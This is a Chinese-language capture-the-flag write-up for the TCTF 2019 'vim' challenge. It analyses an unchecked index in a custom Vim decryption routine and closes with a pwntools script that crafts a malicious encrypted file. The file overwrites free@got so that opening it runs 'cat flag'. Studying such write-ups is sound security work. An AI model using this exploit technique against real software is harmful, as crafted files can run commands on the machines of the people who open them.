Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

TCTF 2019 vim

自定义的加解密方法存在漏洞。

0x00 源代码刨析

key设置为恒为字符串a

1
2
3
4
// to avoid interactive step, without loss of generality
p1 = alloc(8);
p1[0] = 'a';
p1[1] = NUL;

cryptstate_T结构体:

1
2
3
4
5
6
7
8
9
10
/* The state of encryption, referenced by cryptstate_T. */
typedef struct {
int key;
int shift;
int step;
int orig_size;
int size;
int cur_idx;
char_u *buffer;
} perm_state_T;

init函数,其中主要做的是计算cryptstate_T结构体的key,可以在此函数下断点验证传入的key是否为”a”。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
crypt_perm_init(
cryptstate_T *state,
char_u *key,
char_u *salt UNUSED,
int salt_len UNUSED,
char_u *seed UNUSED,
int seed_len UNUSED)
{
char_u *p;
perm_state_T *ps;

ps = (perm_state_T *)alloc(sizeof(perm_state_T));
ps->key = 0;
state->method_state = ps;

for (p = key; *p != NUL; ++p)
{
ps->key = 131*ps->key + *p;
}
}

解密函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
crypt_perm_decode(
cryptstate_T *state,
char_u *from,
size_t len,
char_u *to)
{
perm_state_T *ps = state->method_state;
size_t i;

if (len<=4)
{
for (i = 0; i < len; ++i)
to[i] = from[i];
return;
}

unsigned int iv;
for (i = 0; i < 4; ++i)
{
to[i] = from[i];
iv = (iv<<8) + from[i];
}
ps->orig_size = len-4;
ps->size = ps->orig_size;
while (!is_prime(ps->size))
ps->size++;

ps->shift = ps->key % (len-4);
if (ps->shift > 0)
ps->buffer = alloc(ps->shift);
ps->step = ps->key ^ iv;
if (ps->step % ps->size == 0)
ps->step++;
ps->cur_idx = 0;

/* Step 1: Inverse of Multiplication */
i = 4;
while (i < len)
{
if (ps->cur_idx < ps->orig_size)
{
to[ps->cur_idx+4] = from[i];
i++;
}
ps->cur_idx = (ps->cur_idx+ps->step)%ps->size;
}

/* Step 2: Inverse of Addition */
for (i = 0; i < ps->shift; ++i)
ps->buffer[i] = to[i+4];
for (i = 4+ps->shift; i < len; ++i)
to[i-ps->shift] = to[i];
for (i = 0; i < ps->shift; ++i)
to[len-ps->shift+i] = ps->buffer[i];

if (ps->shift > 0)
vim_free(ps->buffer);
}

需要知道IV在头文件中的位置,漏洞主要在步骤1中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* The state of encryption, referenced by cryptstate_T. */
typedef struct {
int key;
int shift;
int step;
int orig_size;
int size;
int cur_idx;
char_u *buffer;
} perm_state_T;

crypt_perm_decode(
cryptstate_T *state,
char_u *from,
size_t len,
char_u *to)
{
// ...
/* Step 1: Inverse of Multiplication */
i = 4;
while (i < len)
{
if (ps->cur_idx < ps->orig_size)
{
to[ps->cur_idx+4] = from[i];
i++;
}
ps->cur_idx = (ps->cur_idx+ps->step)%ps->size;
}
// ...
}

这里没有检查ps->cur_idx的值,导致可以控制其为负数,造成堆的前向溢出。

from是vim打开的文件。ps->step可以通过

1
2
3
4
5
6
7
8
9
10
11
unsigned int iv;
for (i = 0; i < 4; ++i)
{
to[i] = from[i];
iv = (iv<<8) + from[i];
}
// ...
ps->step = ps->key ^ iv;
if (ps->step % ps->size == 0)
ps->step++;
ps->cur_idx = 0;

控制。

如果能改写ps->buffer的值,就能进一步利用

1
2
3
/* Step 2: Inverse of Addition */
for (i = 0; i < ps->shift; ++i)
ps->buffer[i] = to[i+4];

达到任意地址写的目的。

0x01 Debug it

生成脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def main():
payload = 'VimCrypt~04!'
payload += 'aaaa'
payload += 'bbbb'
payload += 'cccc'
payload += 'dddd'
payload += 'eeee'
payload += 'ffff'
payload += 'gggg'
payload += 'hhhh'

with open('exp', 'wb') as f:
f.write(payload)

if __name__ == '__main__':
main()

设置参数和断点:

crypt_perm_init()断点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
crypt_perm_init(
cryptstate_T *state,
char_u *key,
char_u *salt UNUSED,
int salt_len UNUSED,
char_u *seed UNUSED,
int seed_len UNUSED)
{
// ...
ps->key = 0;
// ...
for (p = key; *p != NUL; ++p)
{
ps->key = 131*ps->key + *p;
}
}

可以发现RSI指向的key为字符串”aNUL”,因此ps->key的值为0x61。

1
2
3
4
5
crypt_perm_decode(
cryptstate_T *state,
char_u *from,
size_t len,
char_u *to)

通过调试可以发现from(图中的rsi指向的数据)即为去除maigc的剩余部分输入内容,也就是说IV即输入文件除去魔术数的前四字节。

1
2
3
4
5
6
unsigned int iv;
for (i = 0; i < 4; ++i)
{
to[i] = from[i];
iv = (iv<<8) + from[i];
}

为了让ps->step为-1,ps->key就要为-1^iv

1
ps->step = ps->key ^ iv;

由上图可以知道rax的值为0x900000ps变量,rcx的值为0x900030to参数。它们紧挨在一起,使得to的向前溢出能够覆盖ps变量,从而达到改写ps->buffer的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/* The state of encryption, referenced by cryptstate_T. */
typedef struct {
int key;
int shift;
int step;
int orig_size;
int size;
int cur_idx;
char_u *buffer;
} perm_state_T;

crypt_perm_decode(
cryptstate_T *state,
char_u *from,
size_t len,
char_u *to)
{
// ...
/* Step 1: Inverse of Multiplication */
i = 4;
while (i < len)
{
if (ps->cur_idx < ps->orig_size)
{
to[ps->cur_idx+4] = from[i];
i++;
}
ps->cur_idx = (ps->cur_idx+ps->step)%ps->size;
}
// ...
/* Step 2: Inverse of Addition */
for (i = 0; i < ps->shift; ++i)
ps->buffer[i] = to[i+4];
// ...
}

但是代码从to[i+4]处开始获得数据写入ps->buffer,因此需要想办法向to[i+4]之后的地址写入数据。

观察到,ps->cur_idx是可以被覆盖最高字节的,且在计算的时候会模上from的长度,所以覆盖高字节后,ps->cur_idx是一个很大的正数,通过求模可将写入to的位置移动到正向方向来进行回写。

0x02 Pwn it

在程序中,有一处执行shell的地方:

可以执行rax/rcx的所指向的命令。

crypt_perm_decode()在最后执行了vim_free(ps->buffer),而在vim_free()中,call free的时候,rax正是保存了ps->buffer的地址,因此在修改free@got的同时通过向ps->buffer写入cat flag即可获取flag

exp生成脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
import struct

def main():
elf = ELF('./vim')

payload = 'VimCrypt~04!'
payload += struct.pack(">i", -1 ^ 0x61) # iv
payload += 'aaaaa'
payload += p64(0x61)[::-1]
payload += 'cccccccc'
payload += p64(elf.got['free'] - 4 - 8)[::-1]
payload += 'bbbbbbbb'
payload += 'cccccc\x00\x00'
payload += '\x00\x00\x00\x4c\x91\x63\x00\x00'
payload += '\x00\x00galf t'
payload += 'ac'.ljust(8, '\x00')

with open('exp', 'wb') as f:
f.write(payload)

if __name__ == '__main__':
main()